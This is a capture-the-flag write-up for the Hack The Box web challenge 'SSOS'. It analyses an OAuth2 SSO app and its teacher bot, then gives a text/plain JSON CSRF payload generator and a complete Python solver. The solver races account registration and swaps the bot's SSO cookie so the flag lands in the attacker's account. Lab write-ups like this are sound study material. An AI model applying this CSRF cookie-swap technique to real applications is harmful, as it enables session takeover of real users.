webfreemedium

SSOS

hackthebox

Task: HTB-style OAuth2 SSO web app (nginx + Express/passport client + Go/Gin provider) with a teacher Puppeteer bot that submits the flag at startup. Solution: win a registration race for the fixed student account, then use a text/plain JSON CSRF (Gin ShouldBindJSON ignores Content-Type) delivered via the bot's /submit-url to swap the shared cookie jar's SSO token to our session, so the bot submits the flag into our own account.

$ ls tags/ techniques/
startup_registration_racecookie_swap_csrftext_plain_json_csrfoauth_session_takeoverbot_url_visit_abuse

SSOS — Hack The Box

Description

Homework? Never heard of her. Let's dance.

A single-domain education platform protected by an OAuth2 SSO provider:

  • nginx (internal port 1337, mapped to a random external port per instance) routes by Host header.
    • edulearn.htb → Express client app (Node.js, EJS, passport-oauth2) on 127.0.0.1:3000.
    • sso.edulearn.htb → Go/Gin OAuth2 SSO provider on 127.0.0.1:3002.
    • Default server 302-redirects unknown hosts to edulearn.htb (preserving port).
  • A Puppeteer "teacher bot" (puppeteer-core, HeadlessChrome 130) runs inside the container, resolves both hosts to 127.0.0.1, and has no useful external egress.
  • All secrets (JWT_SECRET, CLIENT_SECRET, SESSION_SECRET, teacher/student passwords) are generated per-container with openssl rand — not guessable or forgeable.

Goal: read the real flag, which the bot submits into a student assignment once at container startup.

Analysis

Bot behavior (bot/index.js initialSetup(), runs ONCE at startup)

The bot drives a single Puppeteer browser whose pages all share one cookie jar. At startup it executes, in order:

  1. loginUser(teacher, teacherPw) — SSO login form (sets SSO token cookie = teacher).
  2. loginSSO(teacher) — OAuth authorize, sets the client session = teacher.
  3. createAssignment ×3 — as teacher.
  4. registerUser([email protected], STUDENT_PASSWORD) — random password.
  5. loginUser(student, STUDENT_PASSWORD) — SSO login form.
  6. loginSSO(student, STUDENT_PASSWORD)CRITICAL BUG: this function ignores its email/password parameters and authorizes using whatever token cookie is currently in the shared browser jar.
  7. submitFlagToAssignment() — types process.env.FLAG into the first assignment's submission textarea, submitting as the current client-session user.
  8. loginUser(teacher) + loginSSO(teacher) — restore teacher.

Additionally the bot exposes POST /visit-url {url}. The client's POST /submit-url forwards a user-supplied URL to the bot, which does page.goto(url) and waits 10s. This is the only attacker-triggered bot action, and during it the bot is logged into the client as teacher and uses the same shared cookie jar.

Client app (Express) key facts

  • Submissions are stored in memory; author = req.user.email (from OAuth userinfo).
  • GET /submission/:id is allowed only if submission.author.email === req.user.email OR req.user.role === "teacher".
  • Content is rendered raw via EJS <%- %> but sanitized with sanitize-html 2.17.4 (allowedTags: img,h3,p,strong,em,ul,li,br,code,pre; img:[src,alt]). Robust — no XSS (verified live: <svg/onload>, <script>, onerror, <img/src=x/onerror> all neutralized). No CSP, no X-Frame-Options.
  • connect.sid cookie: Path=/; HttpOnly with no SameSite → Chrome treats it as Lax (cross-site top-level GET sends it; cross-site POST/fetch/iframe do not).
  • The server-side OAuth token exchange is done by passport using CLIENT_SECRET; /oauth/callback exchanges whatever ?code is present and sets the session to that code's owner.

SSO provider (Go/Gin) key facts

  • /api/register, /api/login use c.ShouldBindJSON(&input), which parses the request BODY as JSON ignoring Content-Type. Login sets cookie token (JWT HS256), Path=/, HttpOnly, no SameSite.
  • /oauth/authorize, /oauth/token are behind a JWT-token auth middleware. /oauth/userinfo needs only a Bearer access token (returns name/email/role from the DB user).
  • validateRedirectURI(provided, registered, requestHost) requires: scheme match, providedURL.Path HasPrefix registeredURL.Path (/oauth/callback), provided port == request Host port, and providedURL.Hostname() == "edulearn.htb". Verified live: path-traversal redirect_uris (/oauth/callback/../submission/1, backslash variants, /oauth/callbackZZZ) all PASS (302 with ?code= appended unencoded), but any non-edulearn.htb host → 400. So there is no host bypass.
  • /oauth/token has a GORM placeholder bug (4 placeholders, 5 args; the redirect_uri arg is silently ignored), so redirect_uri is not validated at token exchange — but exchange still requires client_secret (random), so attackers cannot exchange codes themselves.
  • Registration role is hardcoded "student". No password-change/account-update endpoint.

Dead paths (do NOT waste time on these)

  • OAuth authorization-code theft (DevRelay/GateKeeper style): the code always lands on edulearn.htb in the bot's browser (host bypass = 400), there is no same-origin store to read it, no XSS to read it, and exchange needs client_secret. Dead.
  • XSS for same-origin exfil: sanitize-html 2.17.4 is robust; all raw sinks are fed sanitized/escaped/hardcoded data. Dead.
  • JWT forge / token mint / password guess: all secrets are openssl-random. Dead.
  • Reading the flag on an already-running instance: we are neither the author (student has a random pw) nor a teacher; the bot can't be made to exfil flag content (GET-only, no write-back). Dead.
  • Naive startup registration race ALONE: if we pre-register student with our pw, the bot's loginUser(student) fails so its cookie stays teacher and the flag is submitted as teacher (unreadable). The race must be combined with the cookie swap. Dead on its own.

Root causes that the working exploit chains

  1. loginSSO() parameter confusion — ignores its credential args and authorizes using the current shared token cookie. If we can plant our token cookie in the bot's jar, the bot OAuths as us.
  2. Gin ShouldBindJSON Content-Type confusion — lets us mount a cross-site text/plain form login (no CORS preflight, no JSON Content-Type needed) into the bot.
  3. Missing SameSite on the SSO token cookie — the cross-site login response's Set-Cookie is accepted by the bot's browser.
  4. Startup registration race — by owning [email protected] we make the bot's own loginUser(student) fail, so it cannot override our planted cookie before step 6.

Solution

The flag is submitted into whichever account is the client session at bot step 7. We make that account ours by swapping the shared SSO token cookie just before step 6.

Step-by-step (must hit a FRESH instance within ~15s of spawn)

  1. Win the registration race. The instant the SSO is reachable, hammer POST /api/register for [email protected] with our password (KnownPass123!). The bot reaches its own registerUser(student) ~15–20s after the SSO is up; if we register first, the bot's register + loginUser(student) both fail and its cookie stays teacher (we fix that with the swap).
  2. Establish a client session + OAuth approval for [email protected] so the bot's later loginSSO auto-redirects, and use that session to drive /submit-url.
  3. Wait for the 3 teacher assignments to appear (teacher phase done) so the cookie swap doesn't disrupt assignment creation.
  4. Spray POST /submit-url with a data:text/html URL whose form performs a text/plain CSRF login to http://sso.edulearn.htb:1337/api/login as [email protected]. The bot page.goto()s the data: URL, auto-submits the form, and the response overwrites the shared SSO token cookie with our student session.
    • text/plain JSON CSRF trick: since Gin parses the raw body as JSON regardless of Content-Type, use one form input whose name is the JSON prefix and whose value is "}, so the name=value text/plain serialization is valid JSON:
      {"email":"[email protected]","password":"KnownPass123!","x":"="}
    • Because we own [email protected], the bot's own loginUser(student) (random pw) fails and cannot override our cookie — the swap is robust through step 6.
  5. The bot's loginSSO(student) (ignoring params) authorizes using our student cookie → client session = our student.
  6. submitFlagToAssignment() writes the FLAG into our [email protected] account.
  7. Log in as [email protected] / KnownPass123! and read GET /submission/<id> (we are the author). Flag landed at submission 1780086506437 on assignment 1780086364360 (author "S").

The exact data: URL / CSRF payload

import urllib.parse INTERNAL_PORT = "1337" # bot resolves hosts to 127.0.0.1, internal nginx port def csrf_data_url(email, pw): # input NAME is the JSON prefix; input VALUE is '"}' so the # text/plain "name=value" body becomes valid JSON for Gin's ShouldBindJSON name = '{"email":"%s","password":"%s","x":"' % (email, pw) html = ( '<form id=f method=POST enctype="text/plain" ' f'action="http://sso.edulearn.htb:{INTERNAL_PORT}/api/login">' "<input name='" + name + "' value='\"}'>" '</form><script>document.getElementById("f").submit()</script>' ) return "data:text/html," + urllib.parse.quote(html, safe="")

Pitfall (fixed vs an earlier broken script): the CSRF must use enctype="text/plain" with the JSON-name trick, not url-encoded form data, because Gin's ShouldBindJSON requires a raw JSON body.

Full working solver

#!/usr/bin/env python3 """SSOS startup cookie-swap exploit. Run within ~15s of a FRESH instance spawn. Usage: python3 race_v2.py <ip> <external_port>""" import sys, re, time, threading, urllib.parse, requests from concurrent.futures import ThreadPoolExecutor CID = "1a2abb8b-9bb5-4463-8f74-d7b129bb7040" STU_EMAIL = "[email protected]" PW = "KnownPass123!" FB_EMAIL = "[email protected]" # fallback if we lose the registration race FLAG_RE = re.compile(r"HTB\{[^}\s]+\}") INTERNAL_PORT = "1337" IP, PORT = sys.argv[1], sys.argv[2] BASE = f"http://{IP}:{PORT}" def log(m): print(f"[+] {m}", flush=True) def warn(m): print(f"[!] {m}", flush=True) def mkreq(session): def req(host, path, method="GET", **kw): h = kw.pop("headers", {}); h.setdefault("Host", f"{host}:{PORT}") return session.request(method, BASE + path, headers=h, allow_redirects=False, timeout=20, **kw) return req def csrf_data_url(email, pw): name = '{"email":"%s","password":"%s","x":"' % (email, pw) html = ( '<form id=f method=POST enctype="text/plain" ' f'action="http://sso.edulearn.htb:{INTERNAL_PORT}/api/login">' "<input name='" + name + "' value='\"}'>" '</form><script>document.getElementById("f").submit()</script>' ) return "data:text/html," + urllib.parse.quote(html, safe="") def register(email, pw, name): s = requests.Session(); req = mkreq(s) try: return req("sso.edulearn.htb", "/api/register", method="POST", headers={"Content-Type": "application/json"}, json={"email": email, "password": pw, "name": name}) except requests.RequestException: return None def establish_client_session(email, pw): """Hold a client connect.sid and create the OAuth approval so the bot's later loginSSO auto-redirects.""" s = requests.Session(); req = mkreq(s) r = req("sso.edulearn.htb", "/api/login", method="POST", headers={"Content-Type": "application/json"}, json={"email": email, "password": pw}) if not r.ok: return None r = req("edulearn.htb", "/auth") p = urllib.parse.urlparse(r.headers.get("Location", "")) r = req("sso.edulearn.htb", p.path + ("?" + p.query if p.query else "")) if r.status_code in (302, 303): cb = r.headers.get("Location", "") else: r = req("sso.edulearn.htb", "/oauth/authorize", method="POST", data={"client_id": CID, "scope": "email name", "redirect_uri": f"http://edulearn.htb:{PORT}/oauth/callback", "state": "", "approved": "true"}) cb = r.headers.get("Location", "") c = urllib.parse.urlparse(cb) req("edulearn.htb", c.path + ("?" + c.query if c.query else "")) return s def count_assignments(sess): req = mkreq(sess) try: r = req("edulearn.htb", "/") return sorted(set(re.findall(r"/assignment/(\d+)", r.text))) except requests.RequestException: return [] def find_flag(email, pw): s = establish_client_session(email, pw) if not s: return None req = mkreq(s) r = req("edulearn.htb", "/") pages = set(re.findall(r"/submission/(\d+)", r.text)) for aid in re.findall(r"/assignment/(\d+)", r.text): ra = req("edulearn.htb", f"/assignment/{aid}") pages |= set(re.findall(r"/submission/(\d+)", ra.text)) m = FLAG_RE.search(ra.text) if m: return m.group(0) for sid in pages: rs = req("edulearn.htb", f"/submission/{sid}") m = FLAG_RE.search(rs.text) if m: return m.group(0) return None STOP = threading.Event() def spray_worker(spray_sess, data_url): req = mkreq(spray_sess) body = urllib.parse.urlencode({"url": data_url}) while not STOP.is_set(): try: req("edulearn.htb", "/submit-url", method="POST", headers={"Content-Type": "application/x-www-form-urlencoded"}, data=body) except requests.RequestException: pass def main(): log(f"target {IP}:{PORT}") # Phase 0: win the [email protected] registration race. log("Phase 0: hammering student registration (concurrent)...") won = threading.Event(); lost = threading.Event() def reg_hammer(): end = time.time() + 45 while time.time() < end and not won.is_set() and not lost.is_set(): r = register(STU_EMAIL, PW, "S") if r is None: time.sleep(0.03); continue if r.status_code == 200: won.set(); return if r.status_code == 500 or "Failed to create user" in r.text or "exist" in r.text.lower(): lost.set(); return time.sleep(0.03) hammers = [threading.Thread(target=reg_hammer, daemon=True) for _ in range(12)] for h in hammers: h.start() while not won.is_set() and not lost.is_set() and any(h.is_alive() for h in hammers): time.sleep(0.05) won = won.is_set() log("WON registration race" if won else "LOST registration race") target_email, target_pw = (STU_EMAIL, PW) if not won: register(FB_EMAIL, PW, "FB"); target_email = FB_EMAIL warn(f"Falling back to swap-to-self target={target_email}") # Phase 1: client session + approval (also used to spray /submit-url). log(f"Phase 1: establishing client session + approval for {target_email}") spray_sess = None for _ in range(40): spray_sess = establish_client_session(target_email, PW) if spray_sess: break time.sleep(0.25) data_url = csrf_data_url(target_email, PW) # Phase 2: wait for the teacher phase (3 assignments visible). log("Phase 2: waiting for 3 assignments...") t2 = time.time() + 90 while time.time() < t2: aids = count_assignments(spray_sess) if spray_sess else [] if len(aids) >= 3: log(f"assignments present: {aids}"); break time.sleep(0.5) # Phase 3: spray the CSRF cookie-swap into the bot's browser. log("Phase 3: spraying CSRF cookie-swap via /submit-url ...") pool = ThreadPoolExecutor(max_workers=8) for _ in range(6): ss = establish_client_session(target_email, PW) or spray_sess if ss: pool.submit(spray_worker, ss, data_url) # Phase 4: poll the target account for the flag. log("Phase 4: polling target account for the flag...") t4 = time.time() + 120; flag = None while time.time() < t4: try: flag = find_flag(target_email, PW) except Exception: flag = None if flag: break time.sleep(1.5) STOP.set() log(f"FLAG: {flag}") if flag else warn("no flag (missed window or lost race)") if __name__ == "__main__": main()

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups